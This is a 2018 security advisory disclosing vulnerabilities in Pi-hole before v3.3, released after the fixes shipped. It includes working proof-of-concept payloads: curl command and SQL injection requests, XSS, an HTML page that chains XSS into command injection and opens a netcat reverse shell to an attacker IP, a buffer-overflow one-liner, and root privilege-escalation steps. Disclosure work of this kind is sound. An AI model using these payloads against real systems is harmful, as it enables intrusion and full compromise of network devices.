Pi-hole < v3.3 Multiple Vulnerabilities

Apr 15 2018

Multiple vulnerabilities were discovered in Pi-Hole, a DNS blocker solution. Vulnerabilities included remote code execution, cross-site scripting, sql injection, privilege escalation and stack-based buffer overflow.

Title: Pi-hole < v3.3 Multiple Vulnerabilities
Date Released: 15/04/2018 Author: Denis Andzakovic
Vendor Website: https://pi-hole.net/
Affected Software: Pi-Hole - https://github.com/pi-hole/pi-hole, AdminLTE - https://github.com/pi-hole/AdminLTE, FTL - https://github.com/pi-hole/FTL

Vulnerabilities

Admin-LTE

Command Injection

Multiple command injection vectors exist in the add.php and sub.php files, the following shows a grep for exec( across the two files:

scripts/pi-hole/php/add.php
20:            echo exec("sudo pihole -w -q ${_POST['domain']}");
23:            echo exec("sudo pihole -w -q -n ${_POST['domain']}");
24:            echo exec("sudo pihole -a audit ${_POST['domain']}");
29:            echo exec("sudo pihole -b -q ${_POST['domain']}");
32:            echo exec("sudo pihole -b -q -n ${_POST['domain']}");
33:            echo exec("sudo pihole -a audit ${_POST['domain']}");
38:            echo exec("sudo pihole -wild -q ${_POST['domain']}");
41:            echo exec("sudo pihole -wild -q -n ${_POST['domain']}");
42:            echo exec("sudo pihole -a audit ${_POST['domain']}");
45:        echo exec("sudo pihole -a audit ${_POST['domain']}");

scripts/pi-hole/php/sub.php
19:        exec("sudo pihole -w -q -d ${_POST['domain']}");
22:        exec("sudo pihole -b -q -d ${_POST['domain']}");
25:        exec("sudo pihole -wild -q -d ${_POST['domain']}");

The following curl command shows the command injection being performed by an authenticated user:

curl 'http://pi.hole/admin/scripts/pi-hole/php/add.php' -H 'Content-Type: application/x-wwwform-urlencoded; charset=UTF-8' --data 'domain=qq.com;id&list=white&pw=<password>'

`uid=33(www-data) gid=33(www-data) groups=33(www-data)`

list_verify Cross Site Scripting

The list_verify method (scripts/pi-hole/php/auth.php:149) contains a cross site scripting vulnerability. The domain POST parameter is reflected in the response without escaping HTML characters. The payload is also reflected in the application debug functionality.

133 function list_verify($type) {
134     global $pwhash, $wrongpassword, $auth;
135     if(!isset($_POST['domain']) || !isset($_POST['list']) || !(isset($_POST['pw']) || isset($_POST['token']))) {
136         log_and_die("Missing POST variables");
137     }
138 
139     if(isset($_POST['token']))
140     {
141         check_cors();
142         check_csrf($_POST['token']);
143     }
144     elseif(isset($_POST['pw']))
145     {
146         require("password.php");
147         if($wrongpassword || !$auth)
148         {
149             log_and_die("Wrong password -".htmlspecialchars($type)."listing of ${_POST['domain']} not permitted");
150         }
151     }
152     else
153     {
154         log_and_die("Not allowed!");
155     }
156     check_domain();
157 }

The following curl command can trigger the vulnerability, add.php or sub.php can be used:

$ curl 'http://pi.hole/admin/scripts/pi-hole/php/sub.php' -H 'Content-Type: application/xwww-form-urlencoded; charset=UTF-8' --data 'domain=qq<script>alert(1)</script>. com&list=white&pw=blah'

Wrong password - whitelisting of qq<script>alert(1)</script>.com not permitted

Given that the pi-hole DNS server redirects pi.hole and blocked domains to the pi-hole server itself, an attacker can use pi.hole as the target URL for a cross site scripting attack, removing the need to know the IP of the Pihole server internally. The following POC can be used to trip the remote command execution vulnerability via cross site scripting.

<html>
   <body>
      <h1>Testing</h1>
      <form action="http://pi.hole/admin/scripts/pi-hole/php/add.php" method="POST"><input type="hidden" name="domain" value="<html><body><script>document.body.style.display = 'none';var command = 'mkfifo /tmp/pipe; nc 192.168.38.135 4444 < /tmp/pipe | /bin/bash > /tmp/pipe&'; var x = new XMLHttpRequest(); x.open('GET','/admin',false); x.send(); var p = new DOMParser(); var token = p.parseFromString(x.response, 'text/html').getElementById('token').innerHTML; x.open('POST','/admin/scripts/pi-hole/php/add.php', true); if(!token){throw 'no token'}; x.setRequestHeader('Content-Type','application/x-www-form-urlencoded'); var params = 'domain=qq.com;'+command+'&list=white&token='+encodeURIComponent(token);x.send(params);</scri pt></body></html>"><input type="hidden" name="list" value="white"><input type="hidden" value="whatever" name="pw"><input type="submit" value="Submit"></form>
   </body>
</html>

The attack will retrieve a CSRF token and launch the command injection attack. In the above example, a reverse shell is sent back to 192.168.38.135 via netcat (see the command variable):

Debug Log Cross Site Scripting

The debug log functionality does not scrub output before rendering in the browser. An attacker that can inject HTML chars into the Lighttpd error.log or pihole.log can render a malicious payload in the user’s browser when they visit the debug.php page. The payload must be injected into the first 25 lines of either the error.log or pihole.log.

The error.log can be written to using the curl request in the list_verify XSS example. The pihole.log can be written to by performing a DNS lookup using a domain name containing the payload, for example:

$ dig @<pihole server> aaa\<h1\>TESTING\<\/h1\>

The following screenshot shows the payload rendering in the debug log page:

The bug occurs due to the echoEvent method in scripts/pi-hole/php/debug.php returning command output without escaping HTML characters.

scripts/pi-hole/php/debug.php
20 function echoEvent($datatext) {
21     if(!isset($_GET["IE"]))
22       echo "data: ".implode("\ndata: ", explode("\n", $datatext))."\n\n";
23     else
24       echo $datatext;
25 }
26 
27 if(isset($_GET["upload"]))
28 {
29     $proc = popen("sudo pihole -d -a -w", "r");
30 }
31 else
32 {
33     $proc = popen("sudo pihole -d -w", "r");
34 }
35 while (!feof($proc)) {
36     echoEvent(fread($proc, 4096));
37 }

SQL Injection

Multiple SQL injection vulnerabilities exist in api_db.php due to queries being constructed via string concatenation. For example:

84 if (isset($_GET['topClients']) && $auth)
85 {
86     // $from = intval($_GET["from"]);
87     $limit = "";
88     if(isset($_GET["from"]) && isset($_GET["until"]))
89     {
90         $limit = "WHERE timestamp >= ".$_GET["from"]." AND timestamp <= ".$_GET["until"];
91     }
92     elseif(isset($_GET["from"]) && !isset($_GET["until"]))
93     {
94         $limit = "WHERE timestamp >= ".$_GET["from"];
95     }
96     elseif(!isset($_GET["from"]) && isset($_GET["until"]))
97     {
98     $limit = "WHERE timestamp <= ".$_GET["until"];
99     }
100     $results = $db->query('SELECT client,count(client) FROM queries '.$limit.' GROUP by client order by count(client) desc limit 10');
101     $clients = array();

The following curl command demonstrates the injection, returning table names from the sqlite_master table.

curl "pi.hole/api_db.php?topClients&auth=<sha256 hash>&from=0&until=1%20UNION%20SELECT%20name,1%20FROM%20sqlite_master--"

topClients, topDomains and topAds all appear vulnerable to SQLi.

Authentication Bypass – Timing Attack

The API authentication mechanism is vulnerable to timing attacks due to the comparison used for verifying the auth parameter.

scripts/pi-hole/php/password.php
63         // API can use the hash to get data without logging in via plain-text password
64         else if (isset($api) && isset($_GET["auth"]))
65         {
66             if($_GET["auth"] == $pwhash)
67                 $auth = true;
68         }

Below is the timing safe comparison done for CSRF tokens:

scripts/pi-hole/php/auth.php
96     if(!function_exists('hash_equals')) {
97         function hash_equals($known_string, $user_string) {
98             $ret = 0;
99 
100             if (strlen($known_string) !== strlen($user_string)) {
101                 $user_string = $known_string;
102                 $ret = 1;
103             }
104 
105             $res = $known_string ^ $user_string;
106 
107             for ($i = strlen($res) -1; $i >= 0; --$i) {
108                 $ret |= ord($res[$i]);
109             }
110 
111             return !$ret;
112         }
113     

FTL

Error Message Stack Overflow

A stack-based buffer overflow is triggered when returning an error for a client message that is larger than 1007 bytes. The sprintf() call in the process_request() method that constructs the error message allows for an overflow:

Request.c
149     if(!processed)
150     {
151         sprintf(server_message,"unknown command: %s",client_message);
152         swrite(server_message, *sock);
153     }

server_message is defined as a 1024-byte buffer (request.c:41), client_message is also a 1024-byte buffer (socket.c:183). The following one liner can trigger the overflow: perl -e 'print "A"x1024' | nc 127.0.0.1 4711

The ASAN trace below details the location of the issue further:

    ==2812==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7f6176bbc6f0 at pc 0x0000004a8202 bp 0x7f6176bbc1c0 sp 0x7f6176bbb970
    WRITE of size 1041 at 0x7f6176bbc6f0 thread T3 (client-4)
    	#0 0x4a8201 in __interceptor_vsprintf sanitizer_common_interceptors.inc:1524
    	#1 0x4a8462 in __interceptor_sprintf sanitizer_common_interceptors.inc:1555
    	#2 0x529020 in process_request ./FTL/request.c:151:3
    	#3 0x527f26 in socket_connection_handler_thread ./FTL/socket.c:205:4
    	#4 0x7f617bc386d9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76d9)
    	#5 0x7f617b046d7e in clone /build/glibc-mXZSwJ/glibc-2.24/misc/../sysdeps/unix/sysv/linux/x86_64/clone.S:105

    Address 0x7f6176bbc6f0 is located in stack of thread T3 (client-4) at offset 1072 in frame
    	#0 0x52862f in process_request ./FTL/request.c:37

    This frame has 2 object(s):
    	[32, 34) 'EOT' (line 38)
    	[48, 1072) 'server_message' (line 41) <== Memory access at offset 1072 overflows this variable
    HINT: this may be a false positive if your program uses some custom stack unwind mechanism or swapcontext
    	(longjmp and C++ exceptions *are* supported)
    Thread T3 (client-4) created by T2 (socket listener) here:
    	#0 0x4386bd in __interceptor_pthread_create asan_interceptors.cc:204
    	#1 0x5284d2 in socket_listenting_thread ./FTL/socket.c:263:6
    	#2 0x7f617bc386d9 in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76d9)

    Thread T2 (socket listener) created by T0 here:
    	#0 0x4386bd in __interceptor_pthread_create asan_interceptors.cc:204
    	#1 0x51778e in main ./FTL/main.c:74:5
    	#2 0x7f617af5e3f0 in __libc_start_main /build/glibc-mXZSwJ/glibc-2.24/csu/../csu/libc-start.c:291

    SUMMARY: AddressSanitizer: stack-buffer-overflow sanitizer_common_interceptors.inc:1524 in __interceptor_vsprintf
    Shadow bytes around the buggy address:
    	0x0fecaed6f880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    	0x0fecaed6f890: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    	0x0fecaed6f8a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    	0x0fecaed6f8b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    	0x0fecaed6f8c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    =>0x0fecaed6f8d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00[f3]f3
    	0x0fecaed6f8e0: f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3 f3
    	0x0fecaed6f8f0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    	0x0fecaed6f900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    	0x0fecaed6f910: 00 00 00 00 00 00 00 00 00 00 00 00 f1 f1 f1 f1
    	0x0fecaed6f920: 04 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    Shadow byte legend (one shadow byte represents 8 application bytes):
    	Addressable: 00
    	Partially addressable: 01 02 03 04 05 06 07
    	Heap left redzone: fa
    	Freed heap region: fd
    	Stack left redzone: f1
  		Stack mid redzone: f2
    	Stack right redzone: f3
    	Stack after return: f5
    	Stack use after scope: f8
    	Global redzone: f9
    	Global init order: f6
    	Poisoned by user: f7
    	Container overflow: fc
    	Array cookie: ac
    	Intra object redzone: bb
    	ASan internal: fe
    	Left alloca redzone: ca
    	Right alloca redzone: cb
    ==2812==ABORTING

This buffer overflow can be triggered from the web interface. FTL reads 1024 bytes info the client_buffer and calls process_request() in a loop, so multiple commands can be chained together by aligning to the 1024-byte boundary.

socket.c
191     while((n = recv(sock,client_message,SOCKETBUFFERLEN-1, 0)))
192     {
193         if (n > 0)
194         {
...snip...
205             process_request(message, &sock);
206             free(message);

The following curl command can trigger the overflow via the web UI:

curl "https://pi.hole/admin/api.php?getAllQueries&auth=<sha256 hash>&domain=changelogs.ubuntu.com`perl -e "print 'A'x2048"`"

Pi-Hole General

Pihole User Privilege Escalation

A privilege escalation vector exists from the pihole user to root. The /etc/pihole directory is owned by the pihole user and does not have the sticky bit set. The /etc/pihole/setupVars.conf file is sourced by the /opt/pihole/gravity.sh script, as well as others in the /opt/pihole/ directory:

gravity.sh
    20 piholeDir="/etc/${basename}"
    21 piholeRepo="/etc/.${basename}"
    22
    {snip}
    45 # Source setupVars from install script
    46 setupVars="${piholeDir}/setupVars.conf"
    47 if [[ -f "${setupVars}" ]];then
    48 source "${setupVars}"

The pihole user can delete the setupVars.conf file and create a new file which contains arbitrary commands, as well as a known auth hash. After the tampered setupVars.conf has been created, the injected command will be executed whenever the /opt/pihole/gravity.sh script is run.

    pihole@pihole:/etc/pihole$ ls -ld /etc/pihole/
    drwxr-xr-x 2 pihole pihole 4096 Jan 14 19:01 /etc/pihole/
    pihole@pihole:/etc/pihole$ cp /etc/pihole/setupVars.conf /tmp/
    pihole@pihole:/etc/pihole$ rm setupVars.conf
    rm: remove write-protected regular file 'setupVars.conf'? y
    pihole@pihole:/etc/pihole$ mv /tmp/setupVars.conf ./
    pihole@pihole:/etc/pihole$ ls -l setupVars.conf
    -rw-r--r-- 1 pihole pihole 242 Jan 14 19:01 setupVars.conf
    pihole@pihole:/etc/pihole$ echo 'id' >> setupVars.conf
    pihole@pihole:/etc/pihole$ cat setupVars.conf
    PIHOLE_INTERFACE=ens33
    IPV4_ADDRESS=192.168.38.147/24
    IPV6_ADDRESS=
    PIHOLE_DNS_1=8.8.8.8
    PIHOLE_DNS_2=8.8.4.4
    QUERY_LOGGING=true
    INSTALL_WEB=true
    LIGHTTPD_ENABLED=1
	WEBPASSWORD=7b3d979ca8330a94fa7e9e1b466d8b99e0bcdea1ec90596c0dcc8d7ef6b4300c	
    id

The gravity.sh script is called from the /usr/local/bin/pihole script, which is executable by the www-data user via sudo with no password.

    /usr/local/bin/pihole
    81 updateGravityFunc() {
    82 "${PI_HOLE_SCRIPT_DIR}"/gravity.sh "$@"
    83 exit 0
    84 }

    /etc/sudoers.d/pihole
    # Pi-hole: A black hole for Internet advertisements
    # (c) 2017 Pi-hole, LLC (https://pi-hole.net)
    # Network-wide ad blocking via your own hardware.
    #
    # Allows the WebUI to use Pi-hole commands
    #
    # This file is copyright under the latest version of the EUPL.
    # Please see LICENSE file for your rights under this license.
    #
    www-data ALL=NOPASSWD: /usr/local/bin/pihole

At this point the attacker has set the setupVars.conf WEBPASSWORD to a known value (“test”, in the example above) and can access the web UI. By requesting the scripts/pi-hole/php/gravity.sh.php page, sudo pihole -g will be executed, which will subsequently execute /opt/pihole/gravity.sh as root, including the command injected into setupVars.conf.

    scripts/pi-hole/php/gravity.sh.php
    33 $proc = popen("sudo pihole -g", 'r');
    34 while (!feof($proc)) {
    35 echoEvent(fread($proc, 4096));
    36 }

Other pi-hole files also source the setupVars.conf file, including /usr/local/bin/pihole under certain circumstances and scripts in the /opt/pihole/ directory. The pihole user should be denied write access to /etc/pihole/, or at least the sticky bit set so that files owned by root cannot be overwritten.

Disclosure timeline

15/01/2018 - Vulnerabilities reported to Pi-Hole
14/02/2018 - Pi-hole v3.3 released with fixes
15/04/2018 - Advisory released